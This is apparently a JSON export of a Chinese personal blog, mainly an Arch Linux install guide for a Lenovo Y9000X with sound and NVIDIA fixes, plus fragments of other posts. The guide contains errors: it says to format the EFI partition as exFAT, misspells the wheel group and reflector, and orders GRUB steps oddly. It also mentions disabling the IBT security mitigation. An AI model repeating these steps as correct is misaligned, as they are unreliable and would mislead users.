或者使用适合你的shell配置文件\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e再次运行你的Conda命令,看看问题是否解决。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e通过设置\u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u003c/code\u003e,你可以确保\u003ccode\u003ecryptography\u003c/code\u003e库在不需要OpenSSL的遗留算法的情况下运行,从而防止出现此错误。\u003c/p\u003e","url":"https://xiue233.github.io/2024/08/04/conda-openssl-legacy-provider/"},{"title":"为Y9000X安装Arch","time":"2024-08-02T02:02:14Z","content":"\u003cblockquote\u003e\n\u003cp\u003e春天,又到了程序员和ArchLinux交尾的时间。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e原因是这样的,因为傻逼Win11各种奇奇怪怪的Bug、卡顿并且在移动办公过程中耗电量惊人,所以不得不把原本装在移动硬盘里的\u003cdel\u003e学习版\u003c/del\u003eAr\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e春天,又到了程序员和ArchLinux交尾的时间。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e原因是这样的,因为傻逼Win11各种奇奇怪怪的Bug、卡顿并且在移动办公过程中耗电量惊人,所以不得不把原本装在移动硬盘里的\u003cdel\u003e学习版\u003c/del\u003eArch给迁移到内置硬盘内。还有就是,一些开发程序在Linux下的兼容性要远好于Windows,所以干脆装双系统当生产力了,然后让Win11成为 “SteamOS”。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e此文章主要面向Y9000X安装Archlinux, 涉及到Y9000X的一些特殊适配问题,但是基本上通用。\u003c/strong\u003e\u003cbr\u003e\u003cdel\u003e主要还是方便我下次炸了,重装系统,看看怎么适配的。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e引导U盘用的是Ventory,不再赘述。\u003c/p\u003e\u003ch2 id=\"基本系统安装\"\u003e\u003ca href=\"#基本系统安装\" class=\"headerlink\" title=\"基本系统安装\"\u003e\u003c/a\u003e基本系统安装\u003c/h2\u003e\u003cp\u003e首先,进入我们亲爱的archiso内,进行系统的初始化配置。\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs text\"\u003e步骤1 - 当我们启动电源时,BIOS(基本输入/输出系统)或UEFI(统一可扩展固件接口)固件从非易失性存储器加载,并执行POST(上电自检)。\u003cbr\u003e\u003cbr\u003e步骤2 - BIOS/UEFI检测连接到系统的设备,包括CPU、RAM和存储。\u003cbr\u003e\u003cbr\u003e步骤3 - 选择一个启动设备以从中引导操作系统。这可以是硬盘、网络服务器或光盘驱动器。\u003cbr\u003e\u003cbr\u003e步骤4 - BIOS/UEFI运行引导加载程序(GRUB),该加载程序提供一个菜单,用于选择操作系统或内核功能。\u003cbr\u003e\u003cbr\u003e步骤5 - 内核准备好后,我们现在切换到用户空间。内核启动systemd作为第一个用户空间进程,它管理进程和服务,探测所有剩余的硬件,挂载文件系统,并运行桌面环境。\u003cbr\u003e\u003cbr\u003e步骤6 - systemd默认在系统引导时激活默认的.target单元。其他分析单元也会被执行。\u003cbr\u003e\u003cbr\u003e步骤7 - 系统运行一系列启动脚本并配置环境。\u003cbr\u003e\u003cbr\u003e步骤8 - 用户被呈现出登录窗口。系统现在已经准备就绪。\u003cbr\u003e\u003cbr\u003e内容转自知乎,找不到原文链接了,十分抱歉。\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"/images/linux-boot-animation.webp\" alt=\"Linux-boot-animation\"\u003e\u003c/p\u003e\u003cp\u003e从上述说明我们可以得出,由于BIOS\u0026#x2F;UEFI等是已经完备的,我们只需要提供bootloader、OS系统内核入口即可。\u003c/p\u003e\u003cp\u003e综上所述,我们安装系统所做的任务实际上只是制作一个bootloader及OS系统内核入口。\u003c/p\u003e\u003ch3 id=\"磁盘分区\"\u003e\u003ca href=\"#磁盘分区\" class=\"headerlink\" title=\"磁盘分区\"\u003e\u003c/a\u003e磁盘分区\u003c/h3\u003e\u003cp\u003e一切的一切追究还是存储在磁盘上,我们需要先从磁盘的分区开始操作。没有磁盘操作,我们无法存储重要的bootloader和内核文件。\u003c/p\u003e\u003cp\u003e这里我比较喜欢的工具是 cfdisk。\u003c/p\u003e\u003col\u003e\u003cli\u003e通过 \u003ccode\u003elsblk\u003c/code\u003e 查看磁盘情况\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e❯ lsblk\u003cbr\u003eNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS\u003cbr\u003envme0n1 259:0 0 476.9G 0 disk \u003cbr\u003e├─nvme0n1p1 259:1 0 260M 0 part \u003cbr\u003e├─nvme0n1p2 259:2 0 16M 0 part \u003cbr\u003e├─nvme0n1p3 259:3 0 200G 0 part \u003cbr\u003e├─nvme0n1p4 259:4 0 274.7G 0 part \u003cbr\u003e└─nvme0n1p5 259:5 0 2G 0 part \u003cbr\u003envme1n1 259:6 0 953.9G 0 disk \u003cbr\u003e├─nvme1n1p1 259:7 0 16M 0 part \u003cbr\u003e├─nvme1n1p2 259:8 0 390.7G 0 part \u003cbr\u003e├─nvme1n1p3 259:9 0 4G 0 part\u003cbr\u003e└─nvme1n1p4 259:10 0 559G 0 part \u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e选择某一个待安装磁盘进行安装\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecfdisk /dev/nvme1n1\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e分区不需要关注在哪个盘,只需要关注能够挂载哪些分区即可。\u003c/p\u003e\u003cp\u003e分区需求:\u003c/p\u003e\u003cul\u003e\u003cli\u003eboot分区 (1-2GB,无特殊需求则留一些就行,type为UFEI System)\u003c/li\u003e\u003cli\u003e其他分区(除了根目录其他都可选)\u003cul\u003e\u003cli\u003e根分区\u003c/li\u003e\u003cli\u003eswap\u003c/li\u003e\u003cli\u003e…\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上述的boot分区即是bootloader的存放位置,且其中也会放入内核文件,作为os的内核加载入口;根分区则为你要存放系统文件还有用户文件的地方(可以再单独创建一个home分区)。具体不再赘述,每个人有自己的分配喜好。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e分区格式化\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eboot分区需要格式化为 exFAT 格式,其他的可以自行选择,我选择的是Btrfs支持快照,性能强大。\u003c/p\u003e\u003ch3 id=\"分区挂载\"\u003e\u003ca href=\"#分区挂载\" class=\"headerlink\" title=\"分区挂载\"\u003e\u003c/a\u003e分区挂载\u003c/h3\u003e\u003cp\u003e想要持久性地存储肯定是需要储存在硬盘上的,我们需要挂载上我们刚刚分配的分区,并将系统写入硬盘内。\u003c/p\u003e\u003cp\u003e挂载不再赘述,需要注意分区的类型的影响,尤其是btrfs需要挂载子卷的情况。\u003c/p\u003e\u003cp\u003e根分区挂载在 \u0026#x2F;mnt,boot分区挂载在 \u0026#x2F;mnt\u0026#x2F;boot。\u003c/p\u003e\u003ch3 id=\"GRUB2的安装–安装bootloader\"\u003e\u003ca href=\"#GRUB2的安装–安装bootloader\" class=\"headerlink\" title=\"GRUB2的安装–安装bootloader\"\u003e\u003c/a\u003eGRUB2的安装–安装bootloader\u003c/h3\u003e\u003col\u003e\u003cli\u003e还是先 pacman -Syu 下(可以提前还源);\u003cbr\u003e可以选择先测速以下:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ereflactor --sort rate -c China -l 200 --verbose --save /etc/pacman.d/mirrorlist\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e安装grub2到boot分区:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003egrub-install --efi-directory=/mnt/boot --target=x86_64-efi --bootloader-id=想叫啥叫啥\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"系统内核及相关配置\"\u003e\u003ca href=\"#系统内核及相关配置\" class=\"headerlink\" title=\"系统内核及相关配置\"\u003e\u003c/a\u003e系统内核及相关配置\u003c/h3\u003e\u003cp\u003e此时生成同等重要的操作系统核心文件。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e下次联网用\u003c/span\u003e\u003cbr\u003epacstrap /mnt networkmanager\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e系统重要库\u003c/span\u003e\u003cbr\u003epacstrap /mnt base linux linux-firmware base-devel grub\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003eintel微码(可选)\u003c/span\u003e\u003cbr\u003epacstrap /mnt intel-ucode\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e切换到 /mnt 下\u003c/span\u003e\u003cbr\u003earch-chroot /mnt\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e添加你的用户到\u003cspan class=\"hljs-built_in\"\u003esudo\u003c/span\u003e(wheel)组\u003c/span\u003e\u003cbr\u003euseradd -m -G whell xxx\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e别忘了设置密码\u003c/span\u003e\u003cbr\u003epasswd\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e本地化配置,这里我按照英文来,不然可能会出现中文路径等,我懒得管\u003c/span\u003e\u003cbr\u003evim /etc/locale.gen #取消en_US.UTF-8的注释\u003cbr\u003eecho \u0026#x27;LANG=en_US.UTF-8\u0026#x27; \u0026gt; /etc/locale.conf\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e#\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e修改主机名\u003c/span\u003e\u003cbr\u003enano /etc/hostname\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e#\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e生成引导配置文件,让grub可以找到你的内核入口\u003c/span\u003e\u003cbr\u003egrub-mkconfig -o /boot/grub/grub.cfg\u003cbr\u003eexit\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e生成自动挂载文件\u003c/span\u003e\u003cbr\u003egenfstab -U /mnt \u0026gt; /mnt/etc/fstab\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"桌面环境配置\"\u003e\u003ca href=\"#桌面环境配置\" class=\"headerlink\" title=\"桌面环境配置\"\u003e\u003c/a\u003e桌面环境配置\u003c/h2\u003e\u003cp\u003e操作完上述步骤后,就可以重启进入系统了。但是伟大的arch用户是需要自己安装桌面环境的。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e此文章使用的是kde+wayland,环境为mux方案下的intel+nvidia混显笔记本。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e首先,安装intel的核显驱动,我们暂且搁置傻逼nvidia驱动,把他放在兼容性问题部分介绍;\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo pacman -S mesa lib32-mesa vulkan-intel lib32-vulkan-intel\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,安装plasma环境;\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003epacman -Syu\u003cbr\u003epacman -S plasma-meta #安装完整的plasma\u003cbr\u003epacman -S plasma-workspace xdg-desktop-portal\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003eN卡用户需要额外安装egl-wayland,xdg-desktop-portal包是为了如obs此类工具录制屏幕使用\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003exdg-desktop-portal包组提供了不同环境下使用的软件包\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e例如kde用户可选择xdg-desktop-portal-kde包\u003c/span\u003e\u003cbr\u003esystemctl enable sddm\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后就可以进入桌面了,其他配置不再赘述。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要注意的是fcitx5输入法安装后,可以从系统设置里添加激活,然后在特定文件内写入传统的输入法配置信息,这样子才能在控制台等地方调出输入法。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"Y9000X兼容性问题\"\u003e\u003ca href=\"#Y9000X兼容性问题\" class=\"headerlink\" title=\"Y9000X兼容性问题\"\u003e\u003c/a\u003eY9000X兼容性问题\u003c/h2\u003e\u003ch3 id=\"声音问题\"\u003e\u003ca href=\"#声音问题\" class=\"headerlink\" title=\"声音问题\"\u003e\u003c/a\u003e声音问题\u003c/h3\u003e\u003cp\u003e先安装一些声音固件相关的模块。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo pacman -S sof-firmware alsa-firmware alsa-ucm-conf \u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后即使你通过alsa手动开启了扬声器,仍然会发现有声音输出但是扬声器没有声音。\u003c/p\u003e\u003cp\u003e去Arch Forum可以看到有人发表了相关的问题,是因为Y9000X在声音输出与扬声器间有一个功放模块,这个功放模块应该是与杜比音效相关的,如果没有相关的驱动,功放模块无法运作,导致没有实际的声音输出。\u003c/p\u003e\u003cp\u003e得益于有位老哥手动从这个功放模块的开源库做了一个dkms版的补丁,现在可以爽用了。\u003c/p\u003e\u003cp\u003e可以使用yay一键安装这个aur包,其他方式自行搜索这个包。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eyay -S legion-y9000x-2022-iah7-sound-fix-dkms\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"MUX方案支持问题(混显-独显)\"\u003e\u003ca href=\"#MUX方案支持问题(混显-独显)\" class=\"headerlink\" title=\"MUX方案支持问题(混显\u0026#x2F;独显)\"\u003e\u003c/a\u003eMUX方案支持问题(混显\u0026#x2F;独显)\u003c/h3\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e驱动不再赘述,自行选择开源还是闭源的,需要注意zen等自定内核,需要使用dkms版本(一定要安装对应的headers)\u003c/span\u003e\u003cbr\u003eyay -S optimus-manager\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e具体的情况可以看我之前的Blog,目前的问题是独显模式下,无法进入桌面吗,但是仍然可以启动其他应用程序。主要还是Optimus-Manger识别不到核显,就直接崩了。\u003c/p\u003e\u003cp\u003e等完美解决了再续写。linux-wechat-qt\u003c/p\u003e\u003ch3 id=\"睡眠后-GPU进入深度睡眠状态无法唤醒\"\u003e\u003ca href=\"#睡眠后-GPU进入深度睡眠状态无法唤醒\" class=\"headerlink\" title=\"睡眠后,GPU进入深度睡眠状态无法唤醒\"\u003e\u003c/a\u003e睡眠后,GPU进入深度睡眠状态无法唤醒\u003c/h3\u003e\u003cp\u003e设置一定时间后进入睡眠状态,可能会导致NVIDIA GPU进入深度睡眠状态,从而无法唤醒,进入SDDM的登陆界面后,会直接卡住,也无法进入TTY,只能进行长按电源强制关机。\u003c/p\u003e\u003cp\u003e调出系统日志后,可以看到类似这种语句:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs text\"\u003edrm error failed to read dpcd register 0x60\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个问题在2022年已经有人讨论过了,他们给出的解决方案是去更新以下bios,最新的bios可能修复了这个问题,但是我的bios已经是最新的了。\u003c/p\u003e\u003cp\u003e我发现,我没有在内核参数中增加 \u003ccode\u003eibt=off\u003c/code\u003e 可能是这个问题。\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs text\"\u003e摘自Arch Wiki-Nvidia页\u003cbr\u003e\u003cbr\u003eNote: 470xx and older drivers may not function correctly on Linux 5.18 (or later) on systems with Intel CPUs 11th Gen and newer[dead link 2024-07-30 ⓘ] due an incompatibility with Indirect Branch Tracking. You can disable it by setting the ibt=off kernel parameter from the boot loader. Be aware, this security feature is responsible for mitigating a class of exploit techniques.\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"工具配置\"\u003e\u003ca href=\"#工具配置\" class=\"headerlink\" title=\"工具配置\"\u003e\u003c/a\u003e工具配置\u003c/h2\u003e\u003cp\u003eOffice可以用LibreOffice或者去官网下载OnlyOffice的app image。OnlyOffice是只负责兼容Ubuntu的,其他系统不进行兼容配置,在arch下是无法过编译的,因为各种配置问题,所以还是老老实实app image吧。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003eclash\u003c/span\u003e\u003cbr\u003eyay -S clash-verge-rev\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e备份软件\u003c/span\u003e\u003cbr\u003eyay -S timeshift\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其他软件不再赘述,qq用linuxqq,wechat用wechat-uos-qt。\u003c/p\u003e\u003ch2 id=\"后记\"\u003e\u003ca href=\"#后记\" class=\"headerlink\" title=\"后记\"\u003e\u003c/a\u003e后记\u003c/h2\u003e\u003cp\u003e在这场Arch安装+完全配置竞速中,我取得了一天的好成绩。\u003c/p\u003e\u003cp\u003e一次grub install后忘记grub-mkconfig了,一次忘记mount boot了,一次忘记下载联网工具了,一次忘记设置用户密码了。\u003c/p\u003e\u003cp\u003e我是Arch低手😭😭😭。\u003c/p\u003e","url":"https://xiue233.github.io/2024/08/02/arch-install-for-Y9000X-2022/"},{"title":"《心中的雨,散落在了天边》(2024-7-13随笔)","time":"2024-07-12T22:22:17Z","content":"\u003cblockquote\u003e\n\u003cp\u003e(以此谨记,2024-7-13晨夜,梦中所想。)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e心中的雨,终究散落在了天边。\u003c/p\u003e\n\u003cp\u003e雨水淅沥,是打碎了树上的花儿,飘零在地面上,还是银河伴着雨水,洒落在了人间?\u003c/p\u003e\n\u003cp\u003e漫天的大雨,让银河敞\u003chr 